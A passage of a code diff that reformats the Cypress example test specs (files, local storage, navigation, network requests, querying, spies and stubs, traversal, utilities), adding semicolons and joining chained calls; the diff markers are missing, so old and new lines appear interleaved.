cy.readFile('cypress.json').then((json) => {
expect(json).to.be.an('object')
})
})
expect(json).to.be.an('object');
});
});
it('cy.writeFile() - write to a file', () => {
// https://on.cypress.io/writefile
@@ -91,13 +92,12 @@ context('Files', () => {
// Use a response from a request to automatically
// generate a fixture file for use later
cy.request('https://jsonplaceholder.cypress.io/users')
.then((response) => {
cy.writeFile('cypress/fixtures/users.json', response.body)
})
cy.request('https://jsonplaceholder.cypress.io/users').then((response) => {
cy.writeFile('cypress/fixtures/users.json', response.body);
});
cy.fixture('users').should((users) => {
expect(users[0].name).to.exist
})
expect(users[0].name).to.exist;
});
// JavaScript arrays and objects are stringified
// and formatted into text.
@@ -105,10 +105,10 @@ context('Files', () => {
id: 8739,
name: 'Jane',
email: 'jane@example.com',
})
});
cy.fixture('profile').should((profile) => {
expect(profile.name).to.eq('Jane')
})
})
})
expect(profile.name).to.eq('Jane');
});
});
});

View File

@@ -2,51 +2,57 @@
context('Local Storage', () => {
beforeEach(() => {
cy.visit('https://example.cypress.io/commands/local-storage')
})
cy.visit('https://example.cypress.io/commands/local-storage');
});
// Although local storage is automatically cleared
// in between tests to maintain a clean state
// sometimes we need to clear the local storage manually
it('cy.clearLocalStorage() - clear all data in local storage', () => {
// https://on.cypress.io/clearlocalstorage
cy.get('.ls-btn').click().should(() => {
expect(localStorage.getItem('prop1')).to.eq('red')
expect(localStorage.getItem('prop2')).to.eq('blue')
expect(localStorage.getItem('prop3')).to.eq('magenta')
})
cy.get('.ls-btn')
.click()
.should(() => {
expect(localStorage.getItem('prop1')).to.eq('red');
expect(localStorage.getItem('prop2')).to.eq('blue');
expect(localStorage.getItem('prop3')).to.eq('magenta');
});
// clearLocalStorage() yields the localStorage object
cy.clearLocalStorage().should((ls) => {
expect(ls.getItem('prop1')).to.be.null
expect(ls.getItem('prop2')).to.be.null
expect(ls.getItem('prop3')).to.be.null
})
expect(ls.getItem('prop1')).to.be.null;
expect(ls.getItem('prop2')).to.be.null;
expect(ls.getItem('prop3')).to.be.null;
});
// Clear key matching string in Local Storage
cy.get('.ls-btn').click().should(() => {
expect(localStorage.getItem('prop1')).to.eq('red')
expect(localStorage.getItem('prop2')).to.eq('blue')
expect(localStorage.getItem('prop3')).to.eq('magenta')
})
cy.get('.ls-btn')
.click()
.should(() => {
expect(localStorage.getItem('prop1')).to.eq('red');
expect(localStorage.getItem('prop2')).to.eq('blue');
expect(localStorage.getItem('prop3')).to.eq('magenta');
});
cy.clearLocalStorage('prop1').should((ls) => {
expect(ls.getItem('prop1')).to.be.null
expect(ls.getItem('prop2')).to.eq('blue')
expect(ls.getItem('prop3')).to.eq('magenta')
})
expect(ls.getItem('prop1')).to.be.null;
expect(ls.getItem('prop2')).to.eq('blue');
expect(ls.getItem('prop3')).to.eq('magenta');
});
// Clear keys matching regex in Local Storage
cy.get('.ls-btn').click().should(() => {
expect(localStorage.getItem('prop1')).to.eq('red')
expect(localStorage.getItem('prop2')).to.eq('blue')
expect(localStorage.getItem('prop3')).to.eq('magenta')
})
cy.get('.ls-btn')
.click()
.should(() => {
expect(localStorage.getItem('prop1')).to.eq('red');
expect(localStorage.getItem('prop2')).to.eq('blue');
expect(localStorage.getItem('prop3')).to.eq('magenta');
});
cy.clearLocalStorage(/prop1|2/).should((ls) => {
expect(ls.getItem('prop1')).to.be.null
expect(ls.getItem('prop2')).to.be.null
expect(ls.getItem('prop3')).to.eq('magenta')
})
})
})
expect(ls.getItem('prop1')).to.be.null;
expect(ls.getItem('prop2')).to.be.null;
expect(ls.getItem('prop3')).to.eq('magenta');
});
});
});

View File

@@ -2,31 +2,31 @@
context('Location', () => {
beforeEach(() => {
cy.visit('https://example.cypress.io/commands/location')
})
cy.visit('https://example.cypress.io/commands/location');
});
it('cy.hash() - get the current URL hash', () => {
// https://on.cypress.io/hash
cy.hash().should('be.empty')
})
cy.hash().should('be.empty');
});
it('cy.location() - get window.location', () => {
// https://on.cypress.io/location
cy.location().should((location) => {
expect(location.hash).to.be.empty
expect(location.href).to.eq('https://example.cypress.io/commands/location')
expect(location.host).to.eq('example.cypress.io')
expect(location.hostname).to.eq('example.cypress.io')
expect(location.origin).to.eq('https://example.cypress.io')
expect(location.pathname).to.eq('/commands/location')
expect(location.port).to.eq('')
expect(location.protocol).to.eq('https:')
expect(location.search).to.be.empty
})
})
expect(location.hash).to.be.empty;
expect(location.href).to.eq('https://example.cypress.io/commands/location');
expect(location.host).to.eq('example.cypress.io');
expect(location.hostname).to.eq('example.cypress.io');
expect(location.origin).to.eq('https://example.cypress.io');
expect(location.pathname).to.eq('/commands/location');
expect(location.port).to.eq('');
expect(location.protocol).to.eq('https:');
expect(location.search).to.be.empty;
});
});
it('cy.url() - get the current URL', () => {
// https://on.cypress.io/url
cy.url().should('eq', 'https://example.cypress.io/commands/location')
})
})
cy.url().should('eq', 'https://example.cypress.io/commands/location');
});
});

View File

@@ -2,8 +2,8 @@
context('Misc', () => {
beforeEach(() => {
cy.visit('https://example.cypress.io/commands/misc')
})
cy.visit('https://example.cypress.io/commands/misc');
});
it('.end() - end the command chain', () => {
// https://on.cypress.io/end
@@ -12,12 +12,12 @@ context('Misc', () => {
// and force Cypress to re-query from the root element
cy.get('.misc-table').within(() => {
// ends the current chain and yields null
cy.contains('Cheryl').click().end()
cy.contains('Cheryl').click().end();
// queries the entire table again
cy.contains('Charles').click()
})
})
cy.contains('Charles').click();
});
});
it('cy.exec() - execute a system command', () => {
// https://on.cypress.io/exec
@@ -25,40 +25,36 @@ context('Misc', () => {
// execute a system command.
// so you can take actions necessary for
// your test outside the scope of Cypress.
cy.exec('echo Jane Lane')
.its('stdout').should('contain', 'Jane Lane')
cy.exec('echo Jane Lane').its('stdout').should('contain', 'Jane Lane');
// we can use Cypress.platform string to
// select appropriate command
// https://on.cypress/io/platform
cy.log(`Platform ${Cypress.platform} architecture ${Cypress.arch}`)
cy.log(`Platform ${Cypress.platform} architecture ${Cypress.arch}`);
if (Cypress.platform === 'win32') {
cy.exec('print cypress.json')
.its('stderr').should('be.empty')
cy.exec('print cypress.json').its('stderr').should('be.empty');
} else {
cy.exec('cat cypress.json')
.its('stderr').should('be.empty')
cy.exec('cat cypress.json').its('stderr').should('be.empty');
cy.exec('pwd')
.its('code').should('eq', 0)
cy.exec('pwd').its('code').should('eq', 0);
}
})
});
it('cy.focused() - get the DOM element that has focus', () => {
// https://on.cypress.io/focused
cy.get('.misc-form').find('#name').click()
cy.focused().should('have.id', 'name')
cy.get('.misc-form').find('#name').click();
cy.focused().should('have.id', 'name');
cy.get('.misc-form').find('#description').click()
cy.focused().should('have.id', 'description')
})
cy.get('.misc-form').find('#description').click();
cy.focused().should('have.id', 'description');
});
context('Cypress.Screenshot', function () {
it('cy.screenshot() - take a screenshot', () => {
// https://on.cypress.io/screenshot
cy.screenshot('my-image')
})
cy.screenshot('my-image');
});
it('Cypress.Screenshot.defaults() - change default config of screenshots', function () {
Cypress.Screenshot.defaults({
@@ -68,16 +64,14 @@ context('Misc', () => {
scale: false,
disableTimersAndAnimations: true,
screenshotOnRunFailure: true,
beforeScreenshot () { },
afterScreenshot () { },
})
})
})
beforeScreenshot() {},
afterScreenshot() {},
});
});
});
it('cy.wrap() - wrap an object', () => {
// https://on.cypress.io/wrap
cy.wrap({ foo: 'bar' })
.should('have.property', 'foo')
.and('include', 'bar')
})
})
cy.wrap({ foo: 'bar' }).should('have.property', 'foo').and('include', 'bar');
});
});

View File

@@ -2,38 +2,38 @@
context('Navigation', () => {
beforeEach(() => {
cy.visit('https://example.cypress.io')
cy.get('.navbar-nav').contains('Commands').click()
cy.get('.dropdown-menu').contains('Navigation').click()
})
cy.visit('https://example.cypress.io');
cy.get('.navbar-nav').contains('Commands').click();
cy.get('.dropdown-menu').contains('Navigation').click();
});
it('cy.go() - go back or forward in the browser\'s history', () => {
it("cy.go() - go back or forward in the browser's history", () => {
// https://on.cypress.io/go
cy.location('pathname').should('include', 'navigation')
cy.location('pathname').should('include', 'navigation');
cy.go('back')
cy.location('pathname').should('not.include', 'navigation')
cy.go('back');
cy.location('pathname').should('not.include', 'navigation');
cy.go('forward')
cy.location('pathname').should('include', 'navigation')
cy.go('forward');
cy.location('pathname').should('include', 'navigation');
// clicking back
cy.go(-1)
cy.location('pathname').should('not.include', 'navigation')
cy.go(-1);
cy.location('pathname').should('not.include', 'navigation');
// clicking forward
cy.go(1)
cy.location('pathname').should('include', 'navigation')
})
cy.go(1);
cy.location('pathname').should('include', 'navigation');
});
it('cy.reload() - reload the page', () => {
// https://on.cypress.io/reload
cy.reload()
cy.reload();
// reload the page without using the cache
cy.reload(true)
})
cy.reload(true);
});
it('cy.visit() - visit a remote url', () => {
// https://on.cypress.io/visit
@@ -43,14 +43,14 @@ context('Navigation', () => {
// Pass options to the visit
cy.visit('https://example.cypress.io/commands/navigation', {
timeout: 50000, // increase total time for the visit to resolve
onBeforeLoad (contentWindow) {
onBeforeLoad(contentWindow) {
// contentWindow is the remote page's window object
expect(typeof contentWindow === 'object').to.be.true
expect(typeof contentWindow === 'object').to.be.true;
},
onLoad (contentWindow) {
onLoad(contentWindow) {
// contentWindow is the remote page's window object
expect(typeof contentWindow === 'object').to.be.true
expect(typeof contentWindow === 'object').to.be.true;
},
})
})
})
});
});
});

View File

@@ -2,8 +2,8 @@
context('Network Requests', () => {
beforeEach(() => {
cy.visit('https://example.cypress.io/commands/network-requests')
})
cy.visit('https://example.cypress.io/commands/network-requests');
});
// Manage AJAX / XHR requests in your app
@@ -13,59 +13,56 @@ context('Network Requests', () => {
cy.server().should((server) => {
// the default options on server
// you can override any of these options
expect(server.delay).to.eq(0)
expect(server.method).to.eq('GET')
expect(server.status).to.eq(200)
expect(server.headers).to.be.null
expect(server.response).to.be.null
expect(server.onRequest).to.be.undefined
expect(server.onResponse).to.be.undefined
expect(server.onAbort).to.be.undefined
expect(server.delay).to.eq(0);
expect(server.method).to.eq('GET');
expect(server.status).to.eq(200);
expect(server.headers).to.be.null;
expect(server.response).to.be.null;
expect(server.onRequest).to.be.undefined;
expect(server.onResponse).to.be.undefined;
expect(server.onAbort).to.be.undefined;
// These options control the server behavior
// affecting all requests
// pass false to disable existing route stubs
expect(server.enable).to.be.true
expect(server.enable).to.be.true;
// forces requests that don't match your routes to 404
expect(server.force404).to.be.false
expect(server.force404).to.be.false;
// whitelists requests from ever being logged or stubbed
expect(server.whitelist).to.be.a('function')
})
expect(server.whitelist).to.be.a('function');
});
cy.server({
method: 'POST',
delay: 1000,
status: 422,
response: {},
})
});
// any route commands will now inherit the above options
// from the server. anything we pass specifically
// to route will override the defaults though.
})
});
it('cy.request() - make an XHR request', () => {
// https://on.cypress.io/request
cy.request('https://jsonplaceholder.cypress.io/comments')
.should((response) => {
expect(response.status).to.eq(200)
expect(response.body).to.have.length(500)
expect(response).to.have.property('headers')
expect(response).to.have.property('duration')
})
})
cy.request('https://jsonplaceholder.cypress.io/comments').should((response) => {
expect(response.status).to.eq(200);
expect(response.body).to.have.length(500);
expect(response).to.have.property('headers');
expect(response).to.have.property('duration');
});
});
it('cy.request() - verify response using BDD syntax', () => {
cy.request('https://jsonplaceholder.cypress.io/comments')
.then((response) => {
cy.request('https://jsonplaceholder.cypress.io/comments').then((response) => {
// https://on.cypress.io/assertions
expect(response).property('status').to.equal(200)
expect(response).property('body').to.have.length(500)
expect(response).to.include.keys('headers', 'duration')
})
})
expect(response).property('status').to.equal(200);
expect(response).property('body').to.have.length(500);
expect(response).to.include.keys('headers', 'duration');
});
});
it('cy.request() with query parameters', () => {
// will execute request
@@ -77,42 +74,42 @@ context('Network Requests', () => {
id: 3,
},
})
.its('body')
.should('be.an', 'array')
.and('have.length', 1)
.its('0') // yields first element of the array
.should('contain', {
postId: 1,
id: 3,
})
})
.its('body')
.should('be.an', 'array')
.and('have.length', 1)
.its('0') // yields first element of the array
.should('contain', {
postId: 1,
id: 3,
});
});
it('cy.request() - pass result to the second request', () => {
// first, let's find out the userId of the first user we have
cy.request('https://jsonplaceholder.cypress.io/users?_limit=1')
.its('body.0') // yields the first element of the returned list
.then((user) => {
expect(user).property('id').to.be.a('number')
expect(user).property('id').to.be.a('number');
// make a new post on behalf of the user
cy.request('POST', 'https://jsonplaceholder.cypress.io/posts', {
userId: user.id,
title: 'Cypress Test Runner',
body: 'Fast, easy and reliable testing for anything that runs in a browser.',
})
});
})
// note that the value here is the returned value of the 2nd request
// which is the new post object
.then((response) => {
expect(response).property('status').to.equal(201) // new entity created
expect(response).property('status').to.equal(201); // new entity created
expect(response).property('body').to.contain({
id: 101, // there are already 100 posts, so new entity gets id 101
title: 'Cypress Test Runner',
})
});
// we don't know the user id here - since it was in above closure
// so in this test just confirm that the property is there
expect(response.body).property('userId').to.be.a('number')
})
})
expect(response.body).property('userId').to.be.a('number');
});
});
it('cy.request() - save response in the shared test context', () => {
// https://on.cypress.io/variables-and-aliases
@@ -131,47 +128,48 @@ context('Network Requests', () => {
title: 'Cypress Test Runner',
body: 'Fast, easy and reliable testing for anything that runs in a browser.',
})
.its('body').as('post') // save the new post from the response
.its('body')
.as('post'); // save the new post from the response
})
.then(function () {
// When this callback runs, both "cy.request" API commands have finished
// and the test context has "user" and "post" objects set.
// Let's verify them.
expect(this.post, 'post has the right user id').property('userId').to.equal(this.user.id)
})
})
expect(this.post, 'post has the right user id').property('userId').to.equal(this.user.id);
});
});
it('cy.route() - route responses to matching requests', () => {
// https://on.cypress.io/route
let message = 'whoa, this comment does not exist'
let message = 'whoa, this comment does not exist';
cy.server()
cy.server();
// Listen to GET to comments/1
cy.route('GET', 'comments/*').as('getComment')
cy.route('GET', 'comments/*').as('getComment');
// we have code that gets a comment when
// the button is clicked in scripts.js
cy.get('.network-btn').click()
cy.get('.network-btn').click();
// https://on.cypress.io/wait
cy.wait('@getComment').its('status').should('eq', 200)
cy.wait('@getComment').its('status').should('eq', 200);
// Listen to POST to comments
cy.route('POST', '/comments').as('postComment')
cy.route('POST', '/comments').as('postComment');
// we have code that posts a comment when
// the button is clicked in scripts.js
cy.get('.network-post').click()
cy.wait('@postComment')
cy.get('.network-post').click();
cy.wait('@postComment');
// get the route
cy.get('@postComment').should((xhr) => {
expect(xhr.requestBody).to.include('email')
expect(xhr.requestHeaders).to.have.property('Content-Type')
expect(xhr.responseBody).to.have.property('name', 'Using POST in cy.route()')
})
expect(xhr.requestBody).to.include('email');
expect(xhr.requestHeaders).to.have.property('Content-Type');
expect(xhr.responseBody).to.have.property('name', 'Using POST in cy.route()');
});
// Stub a response to PUT comments/ ****
cy.route({
@@ -180,15 +178,15 @@ context('Network Requests', () => {
status: 404,
response: { error: message },
delay: 500,
}).as('putComment')
}).as('putComment');
// we have code that puts a comment when
// the button is clicked in scripts.js
cy.get('.network-put').click()
cy.get('.network-put').click();
cy.wait('@putComment')
cy.wait('@putComment');
// our 404 statusCode logic in scripts.js executed
cy.get('.network-put-comment').should('contain', message)
})
})
cy.get('.network-put-comment').should('contain', message);
});
});

View File

@@ -2,8 +2,8 @@
context('Querying', () => {
beforeEach(() => {
cy.visit('https://example.cypress.io/commands/querying')
})
cy.visit('https://example.cypress.io/commands/querying');
});
// The most commonly used query is 'cy.get()', you can
// think of this like the '$' in jQuery
@@ -11,77 +11,65 @@ context('Querying', () => {
it('cy.get() - query DOM elements', () => {
// https://on.cypress.io/get
cy.get('#query-btn').should('contain', 'Button')
cy.get('#query-btn').should('contain', 'Button');
cy.get('.query-btn').should('contain', 'Button')
cy.get('.query-btn').should('contain', 'Button');
cy.get('#querying .well>button:first').should('contain', 'Button')
cy.get('#querying .well>button:first').should('contain', 'Button');
// ↲
// Use CSS selectors just like jQuery
cy.get('[data-test-id="test-example"]').should('have.class', 'example')
cy.get('[data-test-id="test-example"]').should('have.class', 'example');
// 'cy.get()' yields jQuery object, you can get its attribute
// by invoking `.attr()` method
cy.get('[data-test-id="test-example"]')
.invoke('attr', 'data-test-id')
.should('equal', 'test-example')
.should('equal', 'test-example');
// or you can get element's CSS property
cy.get('[data-test-id="test-example"]')
.invoke('css', 'position')
.should('equal', 'static')
cy.get('[data-test-id="test-example"]').invoke('css', 'position').should('equal', 'static');
// or use assertions directly during 'cy.get()'
// https://on.cypress.io/assertions
cy.get('[data-test-id="test-example"]')
.should('have.attr', 'data-test-id', 'test-example')
.and('have.css', 'position', 'static')
})
.and('have.css', 'position', 'static');
});
it('cy.contains() - query DOM elements with matching content', () => {
// https://on.cypress.io/contains
cy.get('.query-list')
.contains('bananas')
.should('have.class', 'third')
cy.get('.query-list').contains('bananas').should('have.class', 'third');
// we can pass a regexp to `.contains()`
cy.get('.query-list')
.contains(/^b\w+/)
.should('have.class', 'third')
cy.get('.query-list').contains(/^b\w+/).should('have.class', 'third');
cy.get('.query-list')
.contains('apples')
.should('have.class', 'first')
cy.get('.query-list').contains('apples').should('have.class', 'first');
// passing a selector to contains will
// yield the selector containing the text
cy.get('#querying')
.contains('ul', 'oranges')
.should('have.class', 'query-list')
cy.get('#querying').contains('ul', 'oranges').should('have.class', 'query-list');
cy.get('.query-button')
.contains('Save Form')
.should('have.class', 'btn')
})
cy.get('.query-button').contains('Save Form').should('have.class', 'btn');
});
it('.within() - query DOM elements within a specific element', () => {
// https://on.cypress.io/within
cy.get('.query-form').within(() => {
cy.get('input:first').should('have.attr', 'placeholder', 'Email')
cy.get('input:last').should('have.attr', 'placeholder', 'Password')
})
})
cy.get('input:first').should('have.attr', 'placeholder', 'Email');
cy.get('input:last').should('have.attr', 'placeholder', 'Password');
});
});
it('cy.root() - query the root DOM element', () => {
// https://on.cypress.io/root
// By default, root is the document
cy.root().should('match', 'html')
cy.root().should('match', 'html');
cy.get('.query-ul').within(() => {
// In this within, the root is now the ul DOM element
cy.root().should('have.class', 'query-ul')
})
})
})
cy.root().should('have.class', 'query-ul');
});
});
});

View File

@@ -3,93 +3,92 @@
context('Spies, Stubs, and Clock', () => {
it('cy.spy() - wrap a method in a spy', () => {
// https://on.cypress.io/spy
cy.visit('https://example.cypress.io/commands/spies-stubs-clocks')
cy.visit('https://example.cypress.io/commands/spies-stubs-clocks');
const obj = {
foo () {},
}
foo() {},
};
const spy = cy.spy(obj, 'foo').as('anyArgs')
const spy = cy.spy(obj, 'foo').as('anyArgs');
obj.foo()
obj.foo();
expect(spy).to.be.called
})
expect(spy).to.be.called;
});
it('cy.spy() retries until assertions pass', () => {
cy.visit('https://example.cypress.io/commands/spies-stubs-clocks')
cy.visit('https://example.cypress.io/commands/spies-stubs-clocks');
const obj = {
/**
* Prints the argument passed
*
* @param x {any}
*/
foo (x) {
console.log('obj.foo called with', x)
*/
foo(x) {
console.log('obj.foo called with', x);
},
}
};
cy.spy(obj, 'foo').as('foo')
cy.spy(obj, 'foo').as('foo');
setTimeout(() => {
obj.foo('first')
}, 500)
obj.foo('first');
}, 500);
setTimeout(() => {
obj.foo('second')
}, 2500)
obj.foo('second');
}, 2500);
cy.get('@foo').should('have.been.calledTwice')
})
cy.get('@foo').should('have.been.calledTwice');
});
it('cy.stub() - create a stub and/or replace a function with stub', () => {
// https://on.cypress.io/stub
cy.visit('https://example.cypress.io/commands/spies-stubs-clocks')
cy.visit('https://example.cypress.io/commands/spies-stubs-clocks');
const obj = {
/**
* prints both arguments to the console
* Prints both arguments to the console
*
* @param a {string}
* @param b {string}
*/
foo (a, b) {
console.log('a', a, 'b', b)
*/
foo(a, b) {
console.log('a', a, 'b', b);
},
}
};
const stub = cy.stub(obj, 'foo').as('foo')
const stub = cy.stub(obj, 'foo').as('foo');
obj.foo('foo', 'bar')
obj.foo('foo', 'bar');
expect(stub).to.be.called
})
expect(stub).to.be.called;
});
it('cy.clock() - control time in the browser', () => {
// https://on.cypress.io/clock
// create the date in UTC so its always the same
// no matter what local timezone the browser is running in
const now = new Date(Date.UTC(2017, 2, 14)).getTime()
const now = new Date(Date.UTC(2017, 2, 14)).getTime();
cy.clock(now)
cy.visit('https://example.cypress.io/commands/spies-stubs-clocks')
cy.get('#clock-div').click()
.should('have.text', '1489449600')
})
cy.clock(now);
cy.visit('https://example.cypress.io/commands/spies-stubs-clocks');
cy.get('#clock-div').click().should('have.text', '1489449600');
});
it('cy.tick() - move time in the browser', () => {
// https://on.cypress.io/tick
// create the date in UTC so its always the same
// no matter what local timezone the browser is running in
const now = new Date(Date.UTC(2017, 2, 14)).getTime()
const now = new Date(Date.UTC(2017, 2, 14)).getTime();
cy.clock(now)
cy.visit('https://example.cypress.io/commands/spies-stubs-clocks')
cy.get('#tick-div').click()
.should('have.text', '1489449600')
cy.tick(10000) // 10 seconds passed
cy.get('#tick-div').click()
.should('have.text', '1489449610')
})
})
cy.clock(now);
cy.visit('https://example.cypress.io/commands/spies-stubs-clocks');
cy.get('#tick-div').click().should('have.text', '1489449600');
cy.tick(10000); // 10 seconds passed
cy.get('#tick-div').click().should('have.text', '1489449610');
});
});

View File

@@ -2,120 +2,96 @@
context('Traversal', () => {
beforeEach(() => {
cy.visit('https://example.cypress.io/commands/traversal')
})
cy.visit('https://example.cypress.io/commands/traversal');
});
it('.children() - get child DOM elements', () => {
// https://on.cypress.io/children
cy.get('.traversal-breadcrumb')
.children('.active')
.should('contain', 'Data')
})
cy.get('.traversal-breadcrumb').children('.active').should('contain', 'Data');
});
it('.closest() - get closest ancestor DOM element', () => {
// https://on.cypress.io/closest
cy.get('.traversal-badge')
.closest('ul')
.should('have.class', 'list-group')
})
cy.get('.traversal-badge').closest('ul').should('have.class', 'list-group');
});
it('.eq() - get a DOM element at a specific index', () => {
// https://on.cypress.io/eq
cy.get('.traversal-list>li')
.eq(1).should('contain', 'siamese')
})
cy.get('.traversal-list>li').eq(1).should('contain', 'siamese');
});
it('.filter() - get DOM elements that match the selector', () => {
// https://on.cypress.io/filter
cy.get('.traversal-nav>li')
.filter('.active').should('contain', 'About')
})
cy.get('.traversal-nav>li').filter('.active').should('contain', 'About');
});
it('.find() - get descendant DOM elements of the selector', () => {
// https://on.cypress.io/find
cy.get('.traversal-pagination')
.find('li').find('a')
.should('have.length', 7)
})
cy.get('.traversal-pagination').find('li').find('a').should('have.length', 7);
});
it('.first() - get first DOM element', () => {
// https://on.cypress.io/first
cy.get('.traversal-table td')
.first().should('contain', '1')
})
cy.get('.traversal-table td').first().should('contain', '1');
});
it('.last() - get last DOM element', () => {
// https://on.cypress.io/last
cy.get('.traversal-buttons .btn')
.last().should('contain', 'Submit')
})
cy.get('.traversal-buttons .btn').last().should('contain', 'Submit');
});
it('.next() - get next sibling DOM element', () => {
// https://on.cypress.io/next
cy.get('.traversal-ul')
.contains('apples').next().should('contain', 'oranges')
})
cy.get('.traversal-ul').contains('apples').next().should('contain', 'oranges');
});
it('.nextAll() - get all next sibling DOM elements', () => {
// https://on.cypress.io/nextall
cy.get('.traversal-next-all')
.contains('oranges')
.nextAll().should('have.length', 3)
})
cy.get('.traversal-next-all').contains('oranges').nextAll().should('have.length', 3);
});
it('.nextUntil() - get next sibling DOM elements until next el', () => {
// https://on.cypress.io/nextuntil
cy.get('#veggies')
.nextUntil('#nuts').should('have.length', 3)
})
cy.get('#veggies').nextUntil('#nuts').should('have.length', 3);
});
it('.not() - remove DOM elements from set of DOM elements', () => {
// https://on.cypress.io/not
cy.get('.traversal-disabled .btn')
.not('[disabled]').should('not.contain', 'Disabled')
})
cy.get('.traversal-disabled .btn').not('[disabled]').should('not.contain', 'Disabled');
});
it('.parent() - get parent DOM element from DOM elements', () => {
// https://on.cypress.io/parent
cy.get('.traversal-mark')
.parent().should('contain', 'Morbi leo risus')
})
cy.get('.traversal-mark').parent().should('contain', 'Morbi leo risus');
});
it('.parents() - get parent DOM elements from DOM elements', () => {
// https://on.cypress.io/parents
cy.get('.traversal-cite')
.parents().should('match', 'blockquote')
})
cy.get('.traversal-cite').parents().should('match', 'blockquote');
});
it('.parentsUntil() - get parent DOM elements from DOM elements until el', () => {
// https://on.cypress.io/parentsuntil
cy.get('.clothes-nav')
.find('.active')
.parentsUntil('.clothes-nav')
.should('have.length', 2)
})
cy.get('.clothes-nav').find('.active').parentsUntil('.clothes-nav').should('have.length', 2);
});
it('.prev() - get previous sibling DOM element', () => {
// https://on.cypress.io/prev
cy.get('.birds').find('.active')
.prev().should('contain', 'Lorikeets')
})
cy.get('.birds').find('.active').prev().should('contain', 'Lorikeets');
});
it('.prevAll() - get all previous sibling DOM elements', () => {
// https://on.cypress.io/prevAll
cy.get('.fruits-list').find('.third')
.prevAll().should('have.length', 2)
})
cy.get('.fruits-list').find('.third').prevAll().should('have.length', 2);
});
it('.prevUntil() - get all previous sibling DOM elements until el', () => {
// https://on.cypress.io/prevUntil
cy.get('.foods-list').find('#nuts')
.prevUntil('#veggies').should('have.length', 3)
})
cy.get('.foods-list').find('#nuts').prevUntil('#veggies').should('have.length', 3);
});
it('.siblings() - get all sibling DOM elements', () => {
// https://on.cypress.io/siblings
cy.get('.traversal-pills .active')
.siblings().should('have.length', 2)
})
})
cy.get('.traversal-pills .active').siblings().should('have.length', 2);
});
});

View File

@@ -2,132 +2,128 @@
context('Utilities', () => {
beforeEach(() => {
cy.visit('https://example.cypress.io/utilities')
})
cy.visit('https://example.cypress.io/utilities');
});
it('Cypress._ - call a lodash method', () => {
// https://on.cypress.io/_
cy.request('https://jsonplaceholder.cypress.io/users')
.then((response) => {
let ids = Cypress._.chain(response.body).map('id').take(3).value()
cy.request('https://jsonplaceholder.cypress.io/users').then((response) => {
let ids = Cypress._.chain(response.body).map('id').take(3).value();
expect(ids).to.deep.eq([1, 2, 3])
})
})
expect(ids).to.deep.eq([1, 2, 3]);
});
});
it('Cypress.$ - call a jQuery method', () => {
// https://on.cypress.io/$
let $li = Cypress.$('.utility-jquery li:first')
let $li = Cypress.$('.utility-jquery li:first');
cy.wrap($li)
.should('not.have.class', 'active')
.click()
.should('have.class', 'active')
})
cy.wrap($li).should('not.have.class', 'active').click().should('have.class', 'active');
});
it('Cypress.Blob - blob utilities and base64 string conversion', () => {
// https://on.cypress.io/blob
cy.get('.utility-blob').then(($div) =>
// https://github.com/nolanlawson/blob-util#imgSrcToDataURL
// get the dataUrl string for the javascript-logo
Cypress.Blob.imgSrcToDataURL('https://example.cypress.io/assets/img/javascript-logo.png', undefined, 'anonymous')
.then((dataUrl) => {
// https://github.com/nolanlawson/blob-util#imgSrcToDataURL
// get the dataUrl string for the javascript-logo
Cypress.Blob.imgSrcToDataURL(
'https://example.cypress.io/assets/img/javascript-logo.png',
undefined,
'anonymous'
).then((dataUrl) => {
// create an <img> element and set its src to the dataUrl
let img = Cypress.$('<img />', { src: dataUrl })
let img = Cypress.$('<img />', { src: dataUrl });
// need to explicitly return cy here since we are initially returning
// the Cypress.Blob.imgSrcToDataURL promise to our test
// append the image
$div.append(img)
$div.append(img);
cy.get('.utility-blob img').click()
.should('have.attr', 'src', dataUrl)
}))
})
cy.get('.utility-blob img').click().should('have.attr', 'src', dataUrl);
})
);
});
it('Cypress.minimatch - test out glob patterns against strings', () => {
// https://on.cypress.io/minimatch
let matching = Cypress.minimatch('/users/1/comments', '/users/*/comments', {
matchBase: true,
})
});
expect(matching, 'matching wildcard').to.be.true
expect(matching, 'matching wildcard').to.be.true;
matching = Cypress.minimatch('/users/1/comments/2', '/users/*/comments', {
matchBase: true,
})
expect(matching, 'comments').to.be.false
});
expect(matching, 'comments').to.be.false;
// ** matches against all downstream path segments
matching = Cypress.minimatch('/foo/bar/baz/123/quux?a=b&c=2', '/foo/**', {
matchBase: true,
})
expect(matching, 'comments').to.be.true
});
expect(matching, 'comments').to.be.true;
// whereas * matches only the next path segment
matching = Cypress.minimatch('/foo/bar/baz/123/quux?a=b&c=2', '/foo/*', {
matchBase: false,
})
expect(matching, 'comments').to.be.false
})
});
expect(matching, 'comments').to.be.false;
});
it('Cypress.moment() - format or parse dates using a moment method', () => {
// https://on.cypress.io/moment
const time = Cypress.moment().utc('2014-04-25T19:38:53.196Z').format('h:mm A')
const time = Cypress.moment().utc('2014-04-25T19:38:53.196Z').format('h:mm A');
expect(time).to.be.a('string')
expect(time).to.be.a('string');
cy.get('.utility-moment').contains('3:38 PM')
.should('have.class', 'badge')
cy.get('.utility-moment').contains('3:38 PM').should('have.class', 'badge');
// the time in the element should be between 3pm and 5pm
const start = Cypress.moment('3:00 PM', 'LT')
const end = Cypress.moment('5:00 PM', 'LT')
const start = Cypress.moment('3:00 PM', 'LT');
const end = Cypress.moment('5:00 PM', 'LT');
cy.get('.utility-moment .badge')
.should(($el) => {
// parse American time like "3:38 PM"
const m = Cypress.moment($el.text().trim(), 'LT')
cy.get('.utility-moment .badge').should(($el) => {
// parse American time like "3:38 PM"
const m = Cypress.moment($el.text().trim(), 'LT');
// display hours + minutes + AM|PM
const f = 'h:mm A'
expect(m.isBetween(start, end),
`${m.format(f)} should be between ${start.format(f)} and ${end.format(f)}`).to.be.true
})
})
// display hours + minutes + AM|PM
const f = 'h:mm A';
expect(
m.isBetween(start, end),
`${m.format(f)} should be between ${start.format(f)} and ${end.format(f)}`
).to.be.true;
});
});
it('Cypress.Promise - instantiate a bluebird promise', () => {
// https://on.cypress.io/promise
let waited = false
let waited = false;
/**
* @return Bluebird<string>
*/
function waitOneSecond () {
/** @returns Bluebird<string> */
function waitOneSecond() {
// return a promise that resolves after 1 second
// @ts-ignore TS2351 (new Cypress.Promise)
return new Cypress.Promise((resolve, reject) => {
setTimeout(() => {
// set waited to true
waited = true
waited = true;
// resolve with 'foo' string
resolve('foo')
}, 1000)
})
resolve('foo');
}, 1000);
});
}
cy.then(() =>
// return a promise to cy.then() that
// is awaited until it resolves
// return a promise to cy.then() that
// is awaited until it resolves
// @ts-ignore TS7006
waitOneSecond().then((str) => {
expect(str).to.eq('foo')
expect(waited).to.be.true
}))
})
})
